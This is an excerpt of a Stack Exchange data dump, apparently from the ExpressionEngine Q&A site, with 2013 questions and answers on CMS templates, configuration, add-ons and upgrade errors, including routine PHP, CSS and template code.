  <row Id="14075" PostTypeId="2" ParentId="14066" CreationDate="2013-09-25T22:22:15.357" Score="1" Body="&lt;p&gt;It seems to me, you could achieve this with javascript more easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you would cycle through each slide and append the title of the next slide to it. If there is no next slide, take the title from the first slide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a really rough example: &lt;a href=&quot;http://jsfiddle.net/alexroper/jLHwV/1/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/alexroper/jLHwV/1/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to do this programmatically with EE, it looks like the &lt;a href=&quot;http://dvt.ee/ad6Kokd&quot; rel=&quot;nofollow&quot;&gt;Advanced Prev Next Entry&lt;/a&gt; by Biber Ltd could work for you. There is an &lt;code&gt;{empty_next}&lt;/code&gt; variable you could test with a conditional. But you're adding extra queries for each slide so you may run into performance issues as you add more slides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the documentation here: &lt;a href=&quot;http://biberltd.com/en/documentation/software/advanced_prev_next_entry&quot; rel=&quot;nofollow&quot;&gt;http://biberltd.com/en/documentation/software/advanced_prev_next_entry&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is the EE plugin option would cost you more performance than the small amount of overhead you would add to browser rendering with the javascript option.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-09-25T22:22:15.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14076" PostTypeId="2" ParentId="12467" CreationDate="2013-09-25T23:24:34.620" Score="1" Body="&lt;p&gt;I ran into this problem today, and I think I figured out that the issue was caused by my browser caching the ckeditor.js file. So if you point your browser to this file on your site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/themes/third_party/wygwam/lib/ckeditor/ckeditor.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then do a force-refresh of that page (hold shift while clicking refresh), it will force your browser to get the new js file. Then try viewing your publish page and the WYGWAM field should show up fine. Hope that is helpful!&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2013-09-25T23:24:34.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14077" PostTypeId="2" ParentId="14074" CreationDate="2013-09-25T23:34:23.307" Score="2" Body="&lt;p&gt;Not sure there is any logic in EE templates required at all. Simply set the container’s width, the inner element’s width to one third of that, and float them all left… no? In the below example, we end up with a final row of just two, both sitting pretty to the left.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;&#xA;    .cont {&#xA;        width: 600px&#xA;    }&#xA;    .cont div {&#xA;        width: 200px;&#xA;        float: left;&#xA;    }&#xA;&amp;lt;/style&amp;gt;&#xA;&amp;lt;div class=&quot;cont&quot;&amp;gt;&#xA;    &amp;lt;div&amp;gt;One&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;One&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;One&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;One&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;One&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;One&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;One&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;One&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;One&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;One&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;One&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;One&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;One&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;One&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-09-25T23:34:23.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14078" PostTypeId="2" ParentId="14067" CreationDate="2013-09-26T02:00:00.327" Score="3" Body="&lt;p&gt;Do you have the &lt;code&gt;ENV_BASE_PATH&lt;/code&gt; constant defined for &lt;em&gt;each&lt;/em&gt; environment? It sounds like you only set it up under one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal of this file (&lt;code&gt;config.env.php&lt;/code&gt;) is to set constants &lt;em&gt;per&lt;/em&gt; environment so you would want it to look something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! defined('ENV'))&#xA;{&#xA;    switch ($_SERVER['HTTP_HOST']) {&#xA;        case 'domain.com' :&#xA;            define('ENV', 'prod');&#xA;            define('ENV_FULL', 'Production');&#xA;            define('ENV_DEBUG', FALSE);&#xA;            define('ENV_BASE_PATH', '/home/public_html/dev/');&#xA;            define('ENV_BASE_URL', 'mywebsite.com');&#xA;        break;&#xA;&#xA;        case 'dev.domain.com' :&#xA;            define('ENV', 'dev');&#xA;            define('ENV_FULL', 'Development');&#xA;            define('ENV_DEBUG', TRUE);&#xA;            define('ENV_BASE_PATH', '/home/public_html/dev/');&#xA;            define('ENV_BASE_URL', 'mywebsite.com');&#xA;        break;&#xA;&#xA;        default :&#xA;            define('ENV', 'local');&#xA;            define('ENV_FULL', 'Local');&#xA;            define('ENV_DEBUG', TRUE);&#xA;            define('ENV_BASE_PATH', '/home/public_html/dev/');&#xA;            define('ENV_BASE_URL', 'mywebsite.com');&#xA;        break;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would obviously want to change the paths per environment, but that's the gist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question though:&lt;/strong&gt; Why are you setting constants here rather than just letting &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config/blob/master/config/config.master.php#L94&quot; rel=&quot;nofollow&quot;&gt;the auto-created paths&lt;/a&gt; in &lt;code&gt;config.master.php&lt;/code&gt; do their thing? What's the goal at hand?&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2013-09-26T02:00:00.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14079" PostTypeId="1" AcceptedAnswerId="14080" CreationDate="2013-09-26T04:36:48.837" Score="0" ViewCount="259" Body="&lt;p&gt;I had this error in one page that I have after upgrade.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined variable: template_group&#xA;Filename: libraries/Template.php&#xA;Line Number: 1959&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined variable: template&#xA;Filename: libraries/Template.php&#xA;Line Number: 1959&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone has an idea what the problem is here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;An Observation that might be useful or not&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at libraries/Template.php, it seems to me that there is a chance that &lt;code&gt;$template_group&lt;/code&gt; and &lt;code&gt;$template&lt;/code&gt; will not be set based on the scope and conditionals. Is this wrong?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-09-27T05:18:47.653" Title="EE 2.7 to 2.7.1 Upgrade Problem - Undefined variable: template_group" Tags="|upgrade|2.7.0|2.7.1|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14080" PostTypeId="2" ParentId="14079" CreationDate="2013-09-26T07:51:56.510" Score="1" Body="&lt;p&gt;Somehow I got duplicate template groups. I just deleted the duplicates and now it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This issue has been accepted by EE as a bug. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19746&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19746&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-09-27T05:18:47.653" LastActivityDate="2013-09-27T05:18:47.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14081" PostTypeId="1" CreationDate="2013-09-26T08:52:36.503" Score="1" ViewCount="131" Body="&lt;p&gt;I was looking for some fieldtype that is supported by Grid to act as a &quot;is_default&quot; flag in my Grid rows. This field would only allow 1 row checked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at &lt;a href=&quot;http://ellislab.com/blog/entry/2.7-grid-ready-addons&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; page, I thought that MX Lone Star would do the job. But after trying it out and doing some investigative work, it is only compatible as a fieldtype in 2.7+ but &lt;em&gt;not as a fieldtype that is supported by Grid&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any alternatives out there?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-10-04T02:01:31.053" Title="&quot;Is Default&quot; EE 2.7+ and Grid compatible field - Alternatives to MX Lone Star" Tags="|2.7.0|grid|mx-lone-star|2.7.1|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14082" PostTypeId="2" ParentId="14048" CreationDate="2013-09-26T09:48:33.587" Score="2" Body="&lt;p&gt;Store doesn't support this natively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's nothing special about the way Store handles downloads, except that it provides a neat way to hide the real URL to a file and require a purchased order to visit the link. Since the files are just stored in regular EE channel fields, there is certainly no requirement that you use Store's download tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, if you want more advanced features or reporting, as Peter mentioned your best bet is to look to third party add-ons. &lt;a href=&quot;http://devot-ee.com/add-ons/link-vault&quot; rel=&quot;nofollow&quot;&gt;Link Vault&lt;/a&gt; is definitely the most popular that I'm aware of.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-09-26T09:48:33.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14083" PostTypeId="2" ParentId="6053" CreationDate="2013-09-26T11:53:07.700" Score="1" Body="&lt;p&gt;Digital Surgeons appear to have made a plugin which works around this particular problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/ifify&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/ifify&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-09-26T11:53:07.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14084" PostTypeId="2" ParentId="14074" CreationDate="2013-09-26T12:19:46.580" Score="0" Body="&lt;p&gt;I've answered a question like this before. Have a look at &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/10343/adding-wrapper-markup-at-intervals-within-loops-entries-matrix-playa-etc/10344#10344&quot;&gt;this question/answer&lt;/a&gt; and it should outline how you can approach it.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-09-26T12:19:46.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14085" PostTypeId="2" ParentId="14072" CreationDate="2013-09-26T12:26:23.853" Score="1" Body="&lt;p&gt;Your embed syntax is incorrect. &lt;code&gt;{embed:LAST_ID}&lt;/code&gt; assumes that the template you're running has been embedded from within another template, and that the parent template's embed code had a parameter named &lt;code&gt;LAST_ID&lt;/code&gt;, which has now been passed tot he template you're in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I think you are wanting to do it use the value of an embedded template in your &lt;code&gt;channel:entries&lt;/code&gt; tag, which you can't do, because &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;embeds run at the very end of the template engine&lt;/a&gt;, after all module tags have been run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you don't need an embed here, just PHP enabled in your template, set to &quot;Input&quot;. Then, change your Channel Entries code to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;entry_id_from=&quot;&amp;lt;?php echo $last_id ; ?&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, if the &lt;code&gt;output_comenzi&lt;/code&gt; table is located in the same database as your EE tables, you can simplify your query using EE's database class.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = ee()-&amp;gt;db-&amp;gt;query('SELECT comanda_id_end FROM output_comenzi ORDER BY id DESC LIMIT 1');&#xA;$last_id = ($query-&amp;gt;num_rows() == 1) ? $query-&amp;gt;row('comanda_id_end') : 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-26T12:26:23.853" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14086" PostTypeId="2" ParentId="14071" CreationDate="2013-09-26T12:32:13.363" Score="3" Body="&lt;p&gt;Yes - the fields will export in the order they appear in the admin. Click the &quot;Edit Field Layout&quot; button to control which fields are shown/hidden, and drag them into the order you want them to appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qRbef.png&quot; alt=&quot;Edit Field Layout&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-26T12:32:13.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14087" PostTypeId="1" CreationDate="2013-09-26T14:09:23.163" Score="2" ViewCount="85" Body="&lt;p&gt;I have a site that seems to be having problems with the Wygwam upload directory. It is a MSM site so there are about 4 sites total. Each site has it's own upload directory on the server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is when I change the upload directory on one site it changes the main sites upload directory. This is the first time that I have ran into this problem. Has anyone else ran into this problem? Also how do I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The version of Expression Engine for the site is 2.5.2 and the Wygwam version is 2.7.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2013-10-20T22:13:58.420" Title="Wygwam upload directory to with MSM problems" Tags="|pixelandtonic|wygwam|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14088" PostTypeId="2" ParentId="9361" CreationDate="2013-09-26T15:41:56.110" Score="1" Body="&lt;p&gt;I have the same problem - did you ever discover a good way to get around the n+1 problem?&lt;/p&gt;&#xA;" OwnerUserId="1315" LastActivityDate="2013-09-26T15:41:56.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14089" PostTypeId="1" CreationDate="2013-09-26T15:56:38.983" Score="1" ViewCount="97" Body="&lt;p&gt;I have a gift card that I'm including in my store, and I would like to have the total price change with a modifier, instead of adding a dollar amount to a base price. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2013-09-26T16:51:11.077" Title="Change price with modifier, instead of + add to price" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14090" PostTypeId="1" CreationDate="2013-09-26T16:02:09.847" Score="1" ViewCount="131" Body="&lt;p&gt;&lt;strong&gt;Update, summarised the question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I am trying to send multiple notification emails, each with unique content, to a list of user-defined recipients using a single FreeForm form.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Freeform enquiry form on a property web site. The form is to allow visitors to enquire about multiple properties from a single form. They fill in their details and the enquirer's details are sent to each property owner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The properties are entries with the owner as the entry author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looping through the selected property entries and add each recipient to the form using recipient_email_user[]. This bit is working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I have a single textarea which contains the names of all the properties that are being enquired about. This means that each owner receives an email that contains the names of their property AND the other owners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really need to  have each notification show the details for the property belonging only to that particular owner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can get the recipients email address within each notification or can anyone suggest a better way to do this? &lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-09-26T17:46:26.527" LastActivityDate="2013-09-26T17:46:26.527" Title="Get recipient email address within the notification specific for each recipient" Tags="|solspace-freeform|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14091" PostTypeId="1" CreationDate="2013-09-26T16:38:36.727" Score="2" ViewCount="1177" Body="&lt;p&gt;Client has asked (insisted) that the site and the control panel live on different URL or subdomain.&#xA;I've googled about and had a look.. I can't find much info.&#xA;Before I start hacking the core.. any ideas on the best way to approach this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want www.mysite.com/admin.php to redirect to a 404 or some other error page.&lt;/p&gt;&#xA;" OwnerUserId="1886" LastActivityDate="2013-09-26T16:44:18.853" Title="Alternate control panel URL" Tags="|control-panel|url|redirects|subdomain|site-preferences|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14092" PostTypeId="2" ParentId="14091" CreationDate="2013-09-26T16:44:18.853" Score="2" Body="&lt;p&gt;I think it's probably doable. It may be a process of elimination to work out all the kinks as you go, but no core hack should be needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest you move the system directory out of the main site's document root first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can remove admin.php from the main site. And copy it over to the admin subdomain. And you can rename it whatever you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to adjust the $system_path variable in the index.php of the main site and admin.php of the admin site to match the new system folder location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, you'll need to make sure the themes directory is accessible to both document roots, through a symlink.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The upload locations will need to be set with the full URL and an absolute path, so both sites can access the files.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-09-26T16:44:18.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14093" PostTypeId="2" ParentId="14089" CreationDate="2013-09-26T16:51:11.077" Score="2" Body="&lt;p&gt;The easiest way to do this would be have a base price of $0 then enter the total amount for each modifier so the price is adjusted accordingly.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-09-26T16:51:11.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14094" PostTypeId="1" CreationDate="2013-09-26T17:00:43.707" Score="1" ViewCount="51" Body="&lt;p&gt;I have a members area where the user can either be &lt;code&gt;Male/Female&lt;/code&gt;, &lt;code&gt;Building Muscle/Losing Weight&lt;/code&gt;, and either &lt;code&gt;Beginner/Intermediate/Advanced&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way it worked before is if the user was a &lt;code&gt;Female&lt;/code&gt;, trying to &lt;code&gt;Lose Weight&lt;/code&gt;, and was a &lt;code&gt;Beginner&lt;/code&gt; it would display content for that user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: Sorry I thought I mentioned the issue!  The problem is it will either display content randomly or nothing at all and I'm using User 3.4.5 and EE 2.7&lt;/strong&gt;&#xA;This is how the Supplement Section was coded:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:stats}&#xA;    &amp;lt;ul id=&quot;membersboxes&quot; class=&quot;block-grid three-up clearfix&quot;&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;div class=&quot;membersbox&quot;&amp;gt;       &#xA;                {if member_gender == &quot;Female&quot; &amp;amp;&amp;amp; member_goal == &quot;Build Muscle&quot; &amp;amp;&amp;amp; member_level == &quot;Beginner&quot;}&#xA;                {exp:channel:entries channel=&quot;supplement_guides&quot;  category=&quot;42|43|45&quot; dynamic=&quot;no&quot; limit=&quot;1&quot; status=&quot;open&quot;}&#xA;                &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;p&amp;gt;{exp:trunchtml chars=&quot;150&quot; inline=&quot;...&quot;}{guide_content}{/exp:trunchtml}&amp;lt;/p&amp;gt;&#xA;                {/exp:channel:entries}&#xA;                {/if}&#xA;&#xA;                {if member_gender == &quot;Female&quot; &amp;amp;&amp;amp; member_goal == &quot;Build Muscle&quot; &amp;amp;&amp;amp; member_level == &quot;Intermediate&quot;}&#xA;                {exp:channel:entries channel=&quot;supplement_guides&quot;  category=&quot;42|43|46&quot; dynamic=&quot;no&quot; limit=&quot;1&quot; status=&quot;open&quot;}&#xA;                &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;p&amp;gt;{exp:trunchtml chars=&quot;150&quot; inline=&quot;...&quot;}{guide_content}{/exp:trunchtml}&amp;lt;/p&amp;gt;&#xA;                {/exp:channel:entries}&#xA;                {/if}&#xA;&#xA;                {if member_gender == &quot;Female&quot; &amp;amp;&amp;amp; member_goal == &quot;Build Muscle&quot; &amp;amp;&amp;amp; member_level == &quot;Advanced&quot;}&#xA;                {exp:channel:entries channel=&quot;supplement_guides&quot;  category=&quot;42|43|47&quot; dynamic=&quot;no&quot; limit=&quot;1&quot; status=&quot;open&quot;}&#xA;                &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;p&amp;gt;{exp:trunchtml chars=&quot;150&quot; inline=&quot;...&quot;}{guide_content}{/exp:trunchtml}&amp;lt;/p&amp;gt;&#xA;                {/exp:channel:entries}&#xA;                {/if}&#xA;&#xA;                {if member_gender == &quot;Female&quot; &amp;amp;&amp;amp; member_goal == &quot;Lose Weight&quot; &amp;amp;&amp;amp; member_level == &quot;Beginner&quot;}&#xA;                {exp:channel:entries channel=&quot;supplement_guides&quot;  category=&quot;42|44|45&quot; dynamic=&quot;no&quot; limit=&quot;1&quot; status=&quot;open&quot;}&#xA;                &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;p&amp;gt;{exp:trunchtml chars=&quot;150&quot; inline=&quot;...&quot;}{guide_content}{/exp:trunchtml}&amp;lt;/p&amp;gt;&#xA;                {/exp:channel:entries}&#xA;                {/if}&#xA;&#xA;                {if member_gender == &quot;Female&quot; &amp;amp;&amp;amp; member_goal == &quot;Lose Weight&quot; &amp;amp;&amp;amp; member_level == &quot;Intermediate&quot;}&#xA;                {exp:channel:entries channel=&quot;supplement_guides&quot;  category=&quot;42|44|46&quot; dynamic=&quot;no&quot; limit=&quot;1&quot; status=&quot;open&quot;}&#xA;                &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;p&amp;gt;{exp:trunchtml chars=&quot;150&quot; inline=&quot;...&quot;}{guide_content}{/exp:trunchtml}&amp;lt;/p&amp;gt;&#xA;                {/exp:channel:entries}&#xA;                {/if}&#xA;&#xA;                {if member_gender == &quot;Female&quot; &amp;amp;&amp;amp; member_goal == &quot;Lose Weight&quot; &amp;amp;&amp;amp; member_level == &quot;Advanced&quot;}&#xA;                {exp:channel:entries channel=&quot;supplement_guides&quot;  category=&quot;42|44|47&quot; dynamic=&quot;no&quot; limit=&quot;1&quot; status=&quot;open&quot;}&#xA;                &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;p&amp;gt;{exp:trunchtml chars=&quot;150&quot; inline=&quot;...&quot;}{guide_content}{/exp:trunchtml}&amp;lt;/p&amp;gt;&#xA;                {/exp:channel:entries}&#xA;                {/if}&#xA;&#xA;                &amp;lt;span class=&quot;seeall&quot;&amp;gt;&amp;lt;a href=&quot;{path='members-area/supplement-guides/'}&quot;&amp;gt;See All Supplement Guides&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/exp:user:stats}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is just the supplements part of the female section, but for the entire code for Males/Females and including everything else you can visit &lt;a href=&quot;http://d.pr/Iv4y&quot; rel=&quot;nofollow noreferrer&quot;&gt;THIS LINK&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an image of the member fields:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fHD69.png&quot; alt=&quot;member fields&quot;&gt;categories&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an image of the categories:&lt;img src=&quot;https://i.stack.imgur.com/14rvT.png&quot; alt=&quot;categories&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is how a user changes the type of member they are:&lt;img src=&quot;https://i.stack.imgur.com/nw76z.png&quot; alt=&quot;membertype&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the code for that part of the settings page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:edit return=&quot;{path='member/updated-settings/'}&quot;}&#xA;    &amp;lt;div class=&quot;settingswrap&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;membersheader&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;Current Level&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;member-settings&quot;&amp;gt;&#xA;            &amp;lt;label&amp;gt;Gender&amp;lt;/label&amp;gt;&#xA;            &amp;lt;select name=&quot;member_gender&quot;&amp;gt;&#xA;                {select_member_gender}&#xA;                &amp;lt;option value=&quot;{value}&quot; {selected}&amp;gt;{value}&amp;lt;/option&amp;gt;&#xA;                {/select_member_gender}&#xA;            &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;member-settings&quot;&amp;gt;&#xA;            &amp;lt;label&amp;gt;Goal&amp;lt;/label&amp;gt;&#xA;            &amp;lt;select name=&quot;member_goal&quot;&amp;gt;&#xA;                {select_member_goal}&#xA;                &amp;lt;option value=&quot;{value}&quot; {selected}&amp;gt;{value}&amp;lt;/option&amp;gt;&#xA;                {/select_member_goal}&#xA;            &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;member-settings&quot;&amp;gt;&#xA;            &amp;lt;label&amp;gt;Level&amp;lt;/label&amp;gt;&#xA;            &amp;lt;select name=&quot;member_level&quot;&amp;gt;&#xA;                {select_member_level}&#xA;                &amp;lt;option value=&quot;{value}&quot; {selected}&amp;gt;{value}&amp;lt;/option&amp;gt;&#xA;                {/select_member_level}&#xA;            &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;save-settings&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot;  class=&quot;small blk button radius&quot; name=&quot;submit&quot; value=&quot;Save Settings&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:user:edit}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It was working perfectly before.. not sure if the 2.7 update could of changed anything but I don't know what to do.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help if you can.. this site is suppose to go up soon and I don't know what to do&lt;/p&gt;&#xA;" OwnerUserId="941" LastEditorUserId="197" LastEditDate="2013-09-27T04:36:44.150" LastActivityDate="2013-10-03T15:55:05.247" Title="User:Stats No Longer displaying correct info for Member Types" Tags="|solspace-user|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
